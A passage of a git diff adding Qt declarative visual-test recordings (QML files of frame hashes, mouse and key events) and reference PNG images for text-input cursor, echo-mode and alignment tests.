"bf3da78d7cac19daf2d5150b77840b1e" + } + Frame { + msec: 8096 + hash: "d177da450f1d380a6d2406e2393b9582" + } + Frame { + msec: 8112 + hash: "c350910df8ae4fea573a20d334fd3401" + } + Frame { + msec: 8128 + hash: "749caf21947e915b163f72e6fd190032" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 222; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8144 + hash: "f764df8ecd68161d3529800e922254f4" + } + Frame { + msec: 8160 + hash: "55a166f920e76173e14121d848a11aa0" + } + Frame { + msec: 8176 + hash: "2b4fe4f39433671a9bc440efa1c589a8" + } + Frame { + msec: 8192 + hash: "7d76aec1f29d2d6745585be8ef113be5" + } + Frame { + msec: 8208 + hash: "fcac2575aad872eada547508f312f09c" + } + Frame { + msec: 8224 + hash: "74cdf8af5d56216ad422951a56661536" + } + Frame { + msec: 8240 + hash: "03b11cc517f84c58a681906fdda98347" + } + Frame { + msec: 8256 + hash: "c8fa0c2d9e6aa1f3a33e76a31534359d" + } + Frame { + msec: 8272 + hash: "d75e13a7715d5c329a47fdb818dfdbe5" + } + Frame { + msec: 8288 + hash: "96201712b9ffbd9bfbebb5a5b7e23aba" + } + Frame { + msec: 8304 + hash: "96b0007f857aa19b41d184a7c7931f69" + } + Frame { + msec: 8320 + hash: "bff5b731de7c93fa0cdcefbf99beeb5e" + } + Frame { + msec: 8336 + hash: "ce76704964873be1bc6a324d8a3381be" + } + Frame { + msec: 8352 + hash: "a31b4f2a3defc968098029328de9352d" + } + Frame { + msec: 8368 + hash: "295e3f40a511bd30e1c6599ead93619a" + } + Frame { + msec: 8384 + hash: "3cd74da8b04de8ec7446490dea0e4e6c" + } + Frame { + msec: 8400 + hash: "78a7db5a316609136d1b873d20d5dd3e" + } + Frame { + msec: 8416 + hash: "0f176fb11bfe26f872ef7103011df9e6" + } + Frame { + msec: 8432 + hash: "47866013e79bc77607e0c40bf8457bed" + } + Frame { + msec: 8448 + hash: "5f35467db5c5e0baf5caff90b97e2d0c" + } + Frame { + msec: 8464 + hash: "fefa89763cc1ad8323fdf37b1f5f63d3" + } + Frame { + msec: 8480 + hash: "b9823f88fa51944075ce6dedd695f097" + } + Frame { + msec: 8496 + hash: "72521de21fcc57d6ccf16350b0df8eee" + } + Frame { + msec: 8512 + hash: "fcd591a2e56ba5efa95b315b7bd10532" + } + Frame { + msec: 8528 + hash: "5d437d59995741030e0975829712f85d" + } + Frame { + msec: 8544 + hash: "e7189d174b181985b6aef10b8642726f" + } + Frame { + msec: 8560 + hash: "cefadbae14e573f6c83d07ffc3a5152e" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 277; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8576 + hash: "0fa12b48c08266f50e77506e4136dd56" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 277; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8592 + hash: "7aed794eae2f0c65342f190ed4d4f889" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 276; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8608 + hash: "23edee3af8f1904558863d37c520555a" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 276; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8624 + hash: "2f9ed13e8a0d0edf098b05db02c04bdf" + } + Frame { + msec: 8640 + image: "cursorDelegate.8.png" + } + Frame { + msec: 8656 + hash: "e189dc0dae9457a6af5082c6ccf451b6" + } + Frame { + msec: 8672 + hash: "62d4bfa65bfdc50d24d9204f4df7bad8" + } + Frame { + msec: 8688 + hash: "5a11ec8a0485a018ebe317e01136e4a5" + } + Frame { + msec: 8704 + hash: "9aa569f7b251371bdd1cb05c8d3aab28" + } + Frame { + msec: 8720 + hash: "a242c9d5ed7f9aef0a0622dcb66d0a7e" + } + Frame { + msec: 8736 + hash: "a0cb3f796fddf7100ca19aee3dedbea8" + } + Frame { + msec: 8752 + hash: "b4e273b6415e3951eab2f831100b0bb2" + } + Frame { + msec: 8768 + hash: "fd3fd655785c4e3c470f742451e3470f" + } + Frame { + msec: 8784 + hash: "7a9b2057760e48d5f9cfdc79b08866d8" + } + Frame { + msec: 8800 + hash: "2a55b52db02d97963d382c9862307384" + } + Frame { + msec: 8816 + hash: "c6c90915393fc7cb0aaa464caefbadb0" + } + Frame { + msec: 8832 + hash: "36b65658073ac2687dbd88ec7a408a98" + } + Frame { + msec: 8848 + hash: "84e165f9f2c55c5c51a260b11ca195c2" + } + Frame { + msec: 8864 + hash: "c11cfcfda6f161d058a3d9e93349b578" + } + Frame { + msec: 8880 + hash: "0568f8c0e1fa51b7547790a7f4978ea3" + } + Frame { + msec: 8896 + hash: "b66fd97ac36ac395df74e9a0dd58d0c7" + } + Frame { + msec: 8912 + hash: "31b5b3d68e452ffd90e9804ff9e9a264" + } + Frame { + msec: 8928 + hash: "3cc8791e419986e1e913d4e153243fb2" + } + Frame { + msec: 8944 + hash: "ff1b3ce85bc9f3dd3feb90fa31c3bc0a" + } + Frame { + msec: 8960 + hash: "d3ae969e538c642d82662d08ef05964e" + } + Frame { + msec: 8976 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 8992 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 9008 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 9024 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 9040 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 9056 + hash: "e3948b393a3778066a90197b31c71e51" + } + Frame { + msec: 9072 + hash: "d3ae969e538c642d82662d08ef05964e" + } + Frame { + msec: 9088 + hash: "ff1b3ce85bc9f3dd3feb90fa31c3bc0a" + } + Frame { + msec: 9104 + hash: "3cc8791e419986e1e913d4e153243fb2" + } + Frame { + msec: 9120 + hash: "31b5b3d68e452ffd90e9804ff9e9a264" + } + Frame { + msec: 9136 + hash: "b66fd97ac36ac395df74e9a0dd58d0c7" + } + Frame { + msec: 9152 + hash: "0568f8c0e1fa51b7547790a7f4978ea3" + } + Frame { + msec: 9168 + hash: "c11cfcfda6f161d058a3d9e93349b578" + } + Frame { + msec: 9184 + hash: "84e165f9f2c55c5c51a260b11ca195c2" + } + Frame { + msec: 9200 + hash: "36b65658073ac2687dbd88ec7a408a98" + } + Frame { + msec: 9216 + hash: "c6c90915393fc7cb0aaa464caefbadb0" + } + Frame { + msec: 9232 + hash: "2a55b52db02d97963d382c9862307384" + } + Frame { + msec: 9248 + hash: "7a9b2057760e48d5f9cfdc79b08866d8" + } + Frame { + msec: 9264 + hash: "fd3fd655785c4e3c470f742451e3470f" + } + Frame { + msec: 9280 + hash: "b4e273b6415e3951eab2f831100b0bb2" + } + Frame { + msec: 9296 + hash: "a0cb3f796fddf7100ca19aee3dedbea8" + } + Frame { + msec: 9312 + hash: "a242c9d5ed7f9aef0a0622dcb66d0a7e" + } + Frame { + msec: 9328 + hash: "9aa569f7b251371bdd1cb05c8d3aab28" + } + Frame { + msec: 9344 + hash: "5a11ec8a0485a018ebe317e01136e4a5" + } + Frame { + msec: 9360 + hash: "62d4bfa65bfdc50d24d9204f4df7bad8" + } + Frame { + msec: 9376 + hash: "e189dc0dae9457a6af5082c6ccf451b6" + } + Frame { + msec: 9392 + hash: "86ed2aa2428feb9c6c14ad2a74e97978" + } + Frame { + msec: 9408 + hash: "2f9ed13e8a0d0edf098b05db02c04bdf" + } + Frame { + msec: 9424 + hash: "23edee3af8f1904558863d37c520555a" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.0.png new file mode 100644 index 0000000..2b45a06 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.1.png new file mode 100644 index 0000000..1f5bae0 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.2.png new file mode 100644 index 0000000..cb2b5a4 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.3.png new file mode 100644 index 0000000..aa24805 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.4.png new file mode 100644 index 0000000..aa24805 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.qml new file mode 100644 index 0000000..873a86d --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/echoMode.qml @@ -0,0 +1,1043 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 32 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Key { + type: 6 + key: 16777248 + modifiers: 33554432 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 48 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 64 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 80 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 96 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 112 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 128 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 144 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 160 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 176 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 192 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 208 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 224 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 240 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 256 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 272 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 288 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 304 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 320 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 336 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 352 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Key { + type: 6 + key: 74 + modifiers: 33554432 + text: "4a" + autorep: false + count: 1 + } + Frame { + msec: 368 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 384 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 400 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 416 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 432 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Key { + type: 7 + key: 74 + modifiers: 33554432 + text: "4a" + autorep: false + count: 1 + } + Frame { + msec: 448 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 464 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 480 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 496 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 512 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 528 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Key { + type: 7 + key: 16777248 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 544 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 560 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 576 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 592 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 608 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 624 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 640 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 656 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 672 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 688 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Key { + type: 6 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 704 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 720 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 736 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 752 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 768 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Key { + type: 7 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 784 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 800 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 816 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 832 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 848 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Key { + type: 6 + key: 67 + modifiers: 0 + text: "63" + autorep: false + count: 1 + } + Frame { + msec: 864 + hash: "a4b81c526a5bf8902fde9b8721980977" + } + Frame { + msec: 880 + hash: "a4b81c526a5bf8902fde9b8721980977" + } + Frame { + msec: 896 + hash: "a4b81c526a5bf8902fde9b8721980977" + } + Key { + type: 7 + key: 67 + modifiers: 0 + text: "63" + autorep: false + count: 1 + } + Frame { + msec: 912 + hash: "a4b81c526a5bf8902fde9b8721980977" + } + Frame { + msec: 928 + hash: "a4b81c526a5bf8902fde9b8721980977" + } + Frame { + msec: 944 + hash: "a4b81c526a5bf8902fde9b8721980977" + } + Frame { + msec: 960 + image: "echoMode.0.png" + } + Frame { + msec: 976 + hash: "a4b81c526a5bf8902fde9b8721980977" + } + Key { + type: 6 + key: 75 + modifiers: 0 + text: "6b" + autorep: false + count: 1 + } + Frame { + msec: 992 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1008 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1024 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1040 + hash: "d072aebc2314a149a856634786b208a0" + } + Key { + type: 7 + key: 75 + modifiers: 0 + text: "6b" + autorep: false + count: 1 + } + Frame { + msec: 1056 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1072 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1088 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1104 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1120 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1136 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1152 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1168 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1184 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1200 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1216 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1232 + hash: "d072aebc2314a149a856634786b208a0" + } + Key { + type: 6 + key: 68 + modifiers: 0 + text: "64" + autorep: false + count: 1 + } + Frame { + msec: 1248 + hash: "94defec2865529f185d02cfcbfe166cc" + } + Frame { + msec: 1264 + hash: "94defec2865529f185d02cfcbfe166cc" + } + Frame { + msec: 1280 + hash: "94defec2865529f185d02cfcbfe166cc" + } + Key { + type: 7 + key: 68 + modifiers: 0 + text: "64" + autorep: false + count: 1 + } + Frame { + msec: 1296 + hash: "94defec2865529f185d02cfcbfe166cc" + } + Frame { + msec: 1312 + hash: "94defec2865529f185d02cfcbfe166cc" + } + Frame { + msec: 1328 + hash: "94defec2865529f185d02cfcbfe166cc" + } + Key { + type: 6 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 1344 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1360 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1376 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1392 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1408 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1424 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1440 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1456 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1472 + hash: "f625a2a82879df96141000e6931d4487" + } + Key { + type: 7 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 1488 + hash: "f625a2a82879df96141000e6931d4487" + } + Key { + type: 6 + key: 87 + modifiers: 0 + text: "77" + autorep: false + count: 1 + } + Frame { + msec: 1504 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1520 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1536 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1552 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Key { + type: 7 + key: 87 + modifiers: 0 + text: "77" + autorep: false + count: 1 + } + Frame { + msec: 1568 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1584 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1600 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1616 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1632 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1648 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Key { + type: 6 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 1664 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1680 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1696 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1712 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1728 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 1744 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Key { + type: 7 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 1760 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1776 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1792 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 1808 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1824 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1840 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1856 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Key { + type: 6 + key: 76 + modifiers: 0 + text: "6c" + autorep: false + count: 1 + } + Frame { + msec: 1872 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 1888 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 1904 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 1920 + image: "echoMode.1.png" + } + Key { + type: 7 + key: 76 + modifiers: 0 + text: "6c" + autorep: false + count: 1 + } + Frame { + msec: 1936 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 1952 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 1968 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 1984 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 2000 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 2016 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Key { + type: 6 + key: 79 + modifiers: 0 + text: "6f" + autorep: false + count: 1 + } + Frame { + msec: 2032 + hash: "c2aff1ebdee69cca7dc67a102fce5e8e" + } + Frame { + msec: 2048 + hash: "c2aff1ebdee69cca7dc67a102fce5e8e" + } + Key { + type: 7 + key: 79 + modifiers: 0 + text: "6f" + autorep: false + count: 1 + } + Frame { + msec: 2064 + hash: "c2aff1ebdee69cca7dc67a102fce5e8e" + } + Frame { + msec: 2080 + hash: "c2aff1ebdee69cca7dc67a102fce5e8e" + } + Key { + type: 6 + key: 86 + modifiers: 0 + text: "76" + autorep: false + count: 1 + } + Frame { + msec: 2096 + hash: "c82441813af6ff577687f29f6a09da38" + } + Frame { + msec: 2112 + hash: "c82441813af6ff577687f29f6a09da38" + } + Frame { + msec: 2128 + hash: "c82441813af6ff577687f29f6a09da38" + } + Frame { + msec: 2144 + hash: "c82441813af6ff577687f29f6a09da38" + } + Key { + type: 6 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Key { + type: 7 + key: 86 + modifiers: 0 + text: "76" + autorep: false + count: 1 + } + Frame { + msec: 2160 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2176 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2192 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2208 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 2224 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Key { + type: 7 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 2240 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2256 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2272 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2288 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2304 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 2320 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2336 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Key { + type: 6 + key: 77 + modifiers: 0 + text: "6d" + autorep: false + count: 1 + } + Frame { + msec: 2352 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2368 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2384 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2400 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2416 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2432 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Key { + type: 7 + key: 77 + modifiers: 0 + text: "6d" + autorep: false + count: 1 + } + Frame { + msec: 2448 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2464 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2480 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2496 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Key { + type: 6 + key: 89 + modifiers: 0 + text: "79" + autorep: false + count: 1 + } + Frame { + msec: 2512 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2528 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2544 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Key { + type: 7 + key: 89 + modifiers: 0 + text: "79" + autorep: false + count: 1 + } + Frame { + msec: 2560 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2576 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2592 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2608 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2624 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2640 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2656 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2672 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2688 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2704 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2720 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2736 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2752 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2768 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2784 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2800 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2816 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2832 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2848 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2864 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2880 + image: "echoMode.2.png" + } + Frame { + msec: 2896 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2912 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2928 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2944 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2960 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2976 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2992 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 3008 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 3024 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 3040 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 3056 + hash: "316f2ba46d059755576e6822dc77afb2" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/hAlign.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/hAlign.0.png new file mode 100644 index 0000000..87c2e07 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/hAlign.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/hAlign.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/hAlign.qml new file mode 100644 index 0000000..e29ac56 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data/hAlign.qml @@ -0,0 +1,107 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 32 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 48 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 64 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 80 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 96 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 112 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 128 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 144 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 